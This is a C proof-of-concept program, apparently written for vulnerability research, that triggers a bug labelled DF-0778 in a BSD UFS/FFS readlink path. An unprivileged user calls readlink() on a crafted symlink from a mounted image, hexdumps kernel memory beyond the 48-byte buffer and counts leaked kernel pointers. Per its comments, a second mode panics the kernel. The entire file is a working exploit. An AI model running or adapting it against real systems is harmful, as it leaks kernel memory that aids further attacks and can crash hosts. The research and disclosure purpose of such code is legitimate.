/*
 * DF-0778 trigger — unprivileged readlink() of a crafted FFS symlink.
 *
 * Precondition (root sets up, realistic mount-time threat model):
 *   An admin mounts a crafted UFS/FFS image. The symlink inode inside has
 *   di_blocks == 0 (inline shortlink) and a di_size LARGER than the 48-byte
 *   i_shortlink buffer (di_db). ufs_readlink() truncates the 64-bit di_size
 *   to a signed `int` and passes it straight to uiomove() with no upper
 *   bound, so readlink() copies di_size bytes out of the 48-byte buffer,
 *   leaking whatever kernel memory follows the inode struct (Mode A), or
 *   faults the kernel when the truncated-to-INT_MIN size sign-extends to
 *   ~2^63 as a size_t (Mode B -> panic).
 *
 * This program is run AS THE UNPRIVILEGED USER (maxx). It just calls
 * readlink(2) on the mount-point symlink and hexdumps whatever comes back.
 */
#include <sys/param.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/test/mylink";
	/*
	 * Ask for a large buffer. readlink returns min(bufsiz, isize) bytes.
	 * For Mode A the kernel will happily copy `isize` (e.g. 200) bytes
	 * even though only 48 are the real shortlink -> the rest is leaked
	 * kernel heap.
	 */
	char buf[4096];
	ssize_t n;

	memset(buf, 0, sizeof(buf));
	errno = 0;
	n = readlink(path, buf, sizeof(buf) - 1);
	if (n < 0) {
		/* Mode B (isize=INT_MIN -> huge size_t) typically panics the
		 * kernel before we even get here; if we DO get an error it
		 * means the kernel survived (e.g. uiomove returned EFAULT). */
		fprintf(stderr, "readlink: %s (errno=%d)\n", strerror(errno), errno);
		return 1;
	}

	printf("readlink returned %zd bytes (shortlink buffer is only 48)\n", n);
	printf("--- hexdump (first 256 bytes) ---\n");
	size_t show = (size_t)n < 256 ? (size_t)n : 256;
	for (size_t i = 0; i < show; i++) {
		printf("%02x", (unsigned char)buf[i]);
		if ((i & 15) == 15) printf("  |");
		else if ((i & 3) == 3) printf(" ");
		if ((i & 15) == 15) {
			printf(" ");
			for (size_t j = i - 15; j <= i; j++) {
				unsigned char c = (unsigned char)buf[j];
				putchar((c >= 32 && c < 127) ? c : '.');
			}
			printf("|\n");
		}
	}
	if (show % 16) printf("\n");

	/* Count bytes past the 48-byte i_shortlink that look like kernel
	 * pointers (0xffffff80... / 0xfffffe80... KVA on x86_64 DFly). */
	int leaked_ptrs = 0;
	for (size_t i = 48; i + 7 < (size_t)n; i += 8) {
		unsigned long long v;
		memcpy(&v, buf + i, 8);
		if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL)
			leaked_ptrs++;
	}
	printf("--- bytes after offset 48 (past i_shortlink): %zd ---\n",
	    n > 48 ? n - 48 : 0);
	printf("LEAKED_KERNEL_PTRS=%d\n", leaked_ptrs);
	return 0;
}
